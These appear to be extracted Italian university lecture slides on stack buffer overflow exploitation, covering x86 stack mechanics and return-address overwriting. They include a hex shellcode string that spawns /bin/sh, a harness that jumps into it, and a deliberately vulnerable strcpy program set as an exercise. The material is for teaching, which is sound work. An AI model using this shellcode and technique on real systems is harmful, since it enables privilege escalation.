Slide

Transcript

Slide
Sicurezza 1
Lezione 7: memory error exploit
Situazione
•  I meccanismi di controllo degli accessi
consentono un controllo particolarmente
efficace su “chi può fare cosa” in un sistema
•  Una delle strategie di attacco più efficace per
superarli è consistita nell’ottenere certe
autorizzazioni per alcuni soggetti (processi) e a
runtime modificare il comportamento degli
stessi
A.A. 2010/2011
2
Corso: Sicurezza 1 © Danilo Bruschi
Overwriting of arbitrary memory in the
writeable process space with arbitrary data
•  The holy grail of exploitation is to take control
of the instruction pointer of a process
•  In a two-stage process, first a safed instruction
pointer is overwritten and then the program
executes a legitimate instruction that transfers
control to the attacker-supplied address. We
will examine different ways to accomplish this
using format string vulnerabilities
A.A. 2010/2011
3
Corso: Sicurezza 1 © Danilo Bruschi
Obiettivo
•  Forzare un programma, che possibilmente
opera con i diritti di root (administrator), a
svolgere delle operazioni che NON è stato
programmato a svolgere
•  Modificare il control flow di un programma,
forzando il programma ad eseguire altro codice
che sarà eseguito con i diritti di root
A.A. 2010/2011
4
Corso: Sicurezza 1 © Danilo Bruschi
Buffer overflow
Organizzazione della memoria
A.A. 2010/2011
6
Corso: Sicurezza 1 © Danilo Bruschi
Stack
•  Uno stack è una zona di memoria Last-In FirstOut (LIFO), molte CPU hanno istruzioni interne
per accedere a questa zona di memoria
•  L istruzione PUSH aggiunge dati sullo stack e la
POP li rimuove
•  Il dato rimosso è sempre l ultimo caricato
•  Lo stack attivo è quello indirizzato dal registro
SS
•  Il registro ESP contiene sempre l indirizzo
dell ultimo dato caricato sullo stack (top of the
stack)
A.A. 2010/2011
7
Corso: Sicurezza 1 © Danilo Bruschi
EBP
•  Poiché può essere molto facile commettere errori usando il registro
ESP per riferirsi ai diversi dati presenti sullo stack, l architettura
80x86 fornisce per questo scopo un ulteriore registro: EBP
A.A. 2010/2011
8
Corso: Sicurezza 1 © Danilo Bruschi
CALL/RET
•  Lo stack è usato intensamente per la gestione
delle subroutine
•  L architettura 80x86 fornisce a questo proposito
due istruzioni ad hoc
•  CALL esegue un salto incondizionato ad un
sottoprogramma ed effettua sullo stack una push
dell indirizzo di ritorno
•  L istruzione RET esegue la pop di un indirizzo di
ritorno ed effettua un salto incondizionato a
quest ultimo
A.A. 2010/2011
9
Corso: Sicurezza 1 © Danilo Bruschi
Variabili locali
•  Lo stack può anche essere convenientemente
usato per memorizzare le variabili locali di un
programma. Le variabili non statiche di un
programma C sono memorizzate sullo stack
•  L uso dello stack per le variabili è necessario se:
•  si vuole scrivere codice rientrante
•  Per risparmiare memoria, le variabili global o static del
C occupano memoria dall inizio dell esecuzione di un
programma sino alla sua terminazione
A.A. 2010/2011
10
Corso: Sicurezza 1 © Danilo Bruschi
Stack
A.A. 2010/2011
11
Corso: Sicurezza 1 © Danilo Bruschi
Function Call
A.A. 2010/2011
12
Corso: Sicurezza 1 © Danilo Bruschi
Function Call
A.A. 2010/2011
13
Corso: Sicurezza 1 © Danilo Bruschi
Esempio: printf
•  L esecuzione dell istruzione
• 
printf("x = %d\n",x);
•  Genera il seguente layout di stack
A.A. 2010/2011
14
Corso: Sicurezza 1 © Danilo Bruschi
Considerazione
•  Una chiamata di procedura altera il flusso di
controllo di un programma, allo stesso modo di
un’istruzione di Jump, contrariamente ad una
Jump però il controll viene restituito
all’istruzione il cui indirizzo è memorizzato
nello stack
A.A. 2010/2011
15
Corso: Sicurezza 1 © Danilo Bruschi
Modificare il flusso di controllo
void function() {!char buffer1[4]; !
! ! !int *ret; !
! ! !ret = buffer1 + 8; !
! ! !(*ret) += 8;
!} !
!
void main() { !int x = 0; !
! ! !function(); !
! ! !x = 1; !
! ! !printf("%d\n",x);
A.A. 2010/2011
16
} !
Corso: Sicurezza 1 © Danilo Bruschi
Modificare il flusso di esecuzione
A.A. 2010/2011
17
Corso: Sicurezza 1 © Danilo Bruschi
Modifying il flusso di controllo
A.A. 2010/2011
18
Corso: Sicurezza 1 © Danilo Bruschi
Modificare il flusso di controllo
A.A. 2010/2011
19
Corso: Sicurezza 1 © Danilo Bruschi
Modificare il flusso di controllo
A.A. 2010/2011
20
Corso: Sicurezza 1 © Danilo Bruschi
Soluzione
•  On many C implementations it is possible to
corrupt the execution stack by writing past the end
of an array declared auto in a routine. Code that
does this is said to smash the stack, and can cause
return from the routine to jump to a random
address. This can produce some of the most
insidious data-dependent bugs known to mankind.
Variants include trash the stack, scribble the stack,
mangle the stack …
•  Written by : Aleph One
First published on : Phrack
A.A. 2010/2011
21
Corso: Sicurezza 1 © Danilo Bruschi
Buffer Overflows
void function(char *str) { !
char buffer[8]; !
strcpy(buffer,str); } !
!
void main() !
{ !
char large_string[256]; !
int i; !
for( i = 0; i < 255; i++) !
large_string[i] = 'A'; !
function(large_string); !
} !
A.A. 2010/2011
22
Corso: Sicurezza 1 © Danilo Bruschi
Buffer Overflows
A.A. 2010/2011
23
Corso: Sicurezza 1 © Danilo Bruschi
Buffer Overflows
A.A. 2010/2011
24
Corso: Sicurezza 1 © Danilo Bruschi
Buffer Overflows
A.A. 2010/2011
25
Corso: Sicurezza 1 © Danilo Bruschi
Buffer Overflows
A.A. 2010/2011
26
Corso: Sicurezza 1 © Danilo Bruschi
Buffer Overflows
A.A. 2010/2011
27
Corso: Sicurezza 1 © Danilo Bruschi
Buffer Overflows
A.A. 2010/2011
28
Corso: Sicurezza 1 © Danilo Bruschi
Buffer Overflows
A.A. 2010/2011
29
Corso: Sicurezza 1 © Danilo Bruschi
Buffer Overflows
A.A. 2010/2011
30
Corso: Sicurezza 1 © Danilo Bruschi
Conclusione
•  Quindi attraverso un buffer overflow siamo in
grado di modificare l indirizzo di rientro di
una funzione. E quindi il flusso di controllo di
un programma.
A.A. 2010/2011
31
Corso: Sicurezza 1 © Danilo Bruschi
Quindi …
•  Ora che sappiamo di poter modificare il flusso
di controllo di un programma qual è il
programma più utile di cui forzare
l esecuzione?
A.A. 2010/2011
32
Corso: Sicurezza 1 © Danilo Bruschi
Quindi ??
•  Ma questo programma non è contenuto nel
programma che noi vogliamo exploitare?
Come possiamo inserire queste istruzioni nel
programma da exploitare?
A.A. 2010/2011
33
Corso: Sicurezza 1 © Danilo Bruschi
Shell code
•  La risposta è la seguente:
•  Caricare il codice che vogliamo eseguire in un
buffer disponibile, e attraverso l overflow di
questo buffer sovrascrivere il return address di
modo che lo stesso punti all interno del buffer
stesso
A.A. 2010/2011
34
Corso: Sicurezza 1 © Danilo Bruschi
Cioè:
*str
Return address
modificato
S
S
S
S
S
S
S
S
S
A.A. 2010/2011
35
Corso: Sicurezza 1 © Danilo Bruschi
Problemi da risolvere
•  Per realizzare questa tattica dobbiamo risolvere
due problemi principali:
•  codificare il codice eseguibile da inserire sullo
stack (shell code)
•  Riuscire a determinare il suo indirizzo di partenza
ed inserirlo al posto del return address
A.A. 2010/2011
36
Corso: Sicurezza 1 © Danilo Bruschi
Spawning a Shell
#include <stdio.h>
#include <stdlib.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
exit(0); }
A.A. 2010/2011
37
Corso: Sicurezza 1 © Danilo Bruschi
Shell code ASM
A.A. 2010/2011
38
Corso: Sicurezza 1 © Danilo Bruschi
Esercizio: Prova Shellcode
char shellcode[] = "\xeb\x2a\x5e\xc6\x46\x07\x00\x89\x76\x08\xc7\x46\x0c
\x00
\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d
\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00
\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode; }
A.A. 2010/2011
39
Corso: Sicurezza 1 © Danilo Bruschi
Prova Shellcode
A.A. 2010/2011
40
Corso: Sicurezza 1 © Danilo Bruschi
Testing the Shellcode
A.A. 2010/2011
41
Corso: Sicurezza 1 © Danilo Bruschi
Schema programma vulnerabile
•  È possibile effettuare un BOF su questo
programma?
void main(int argc, char *argv[])
{ char buffer[64];
if (argc > 1) strcpy(buffer,argv[1]);
}
A.A. 2010/2011
42
Corso: Sicurezza 1 © Danilo Bruschi